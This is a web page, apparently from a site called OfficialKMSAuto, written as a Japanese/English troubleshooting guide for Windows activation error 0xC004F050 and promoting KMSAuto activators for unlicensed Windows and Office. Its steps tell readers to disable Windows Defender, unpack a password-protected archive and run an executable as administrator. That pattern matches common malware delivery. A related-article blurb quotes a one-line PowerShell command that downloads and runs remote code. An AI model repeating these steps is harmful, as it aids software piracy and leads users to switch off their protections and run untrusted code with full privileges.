Error 0xC004F050 — トラブルシューティング 2026
本記事は 2026 年版 Error 0xC004F050 の日本語完全ガイドです。0xC004F050 means the key Windows received doesn't match the installed edition. KMSAuto installs the correct GVLK.
WYqejXiqBi97本記事は 2026 年版 Error 0xC004F050 の日本語完全ガイドです。Use slmgr /ipk with the correct GVLK from our list, then run KMSAuto. It also auto-fixes via the 'Information' button.
Step-by-step activation
Follow these steps exactly — the whole process takes under two minutes.
- Pause Windows Defender real-time protection for ~2 minutes
- Extract the ZIP using the password WYqejXiqBi97
- Right-click the executable and choose 'Run as administrator'
- Pick the recommended method (HWID, Ohook or TSforge)
- Wait for 'Successfully activated' then reboot
After activation — what to check
Open elevated CMD and run slmgr /xpr for Windows or ospp.vbs /dstatus from the Office folder. You should see a permanent or 180-day-renewing licensed state.
Frequently asked questions
▸Is this method free?
Yes — every activation method covered here is 100% free with OfficialKMSAuto.
▸Will it survive Windows updates?
Yes. HWID, Ohook and TSforge are designed to persist across feature updates and even fresh reinstalls on the same hardware.
▸Is an internet connection required?
Only HWID needs a brief one-time internet handshake. Ohook, KMS38 and TSforge work fully offline.
▸Does it work on Windows 11 24H2?
Yes. OfficialKMSAuto ships TSforge specifically to handle 24H2 and the latest Server 2025 builds.
▸What is the archive password?
WYqejXiqBi97 — shown on every download button on this site.
Read this article in another language
Related articles
vs Smart Activator — 2026 比較とレビュー
本記事は 2026 年版 vs Smart Activator の日本語完全ガイドです。Smart Activator is a generic KMS shell. KMSAuto Net is the actively-maintained reference implementation.
Read article →
KMSAuto Română 無料ダウンロード 2026 — Windows と Office ライセンス認証ツール
本記事は 2026 年版 KMSAuto Română の日本語完全ガイドです。Descarcă KMSAuto Net 2026 în română — activator gratuit pentru Windows și Office.
Read article →
IRM Script Method 認証方法 2026 — 完全ガイド
本記事は 2026 年版 IRM Script Method の日本語完全ガイドです。irm massgrave.dev/get | iex is the MAS one-line PowerShell script. KMSAuto wraps the same methods in a GUI.
Read article →
Office Pro Plus 2019 無料認証方法 2026 — ステップバイステップ
本記事は 2026 年版 Office Pro Plus 2019 の日本語完全ガイドです。Office Pro Plus 2019 permanent activation with Ohook. Offline, no product key, survives Office updates.
Read article →
KMSAuto Net 2022 無料ダウンロード 2026 — Windows と Office ライセンス認証ツール
本記事は 2026 年版 KMSAuto Net 2022 の日本語完全ガイドです。KMSAuto Net 2022 added full Windows 11 22H2 and Server 2022 support — plus the first Ohook implementation.
Read article →
Windows 11 24H2 無料認証方法 2026 — ステップバイステップ
本記事は 2026 年版 Windows 11 24H2 の日本語完全ガイドです。TSforge is the only reliable activator for Windows 11 24H2. Step-by-step guide with screenshots, edition compatibility table.
Read article →
Download OfficialKMSAuto
Free, safe, open source. Works on Windows 7, 8, 10, 11 and Office 2010–2024.
Download Activator — Free🔐 Archive password: WYqejXiqBi97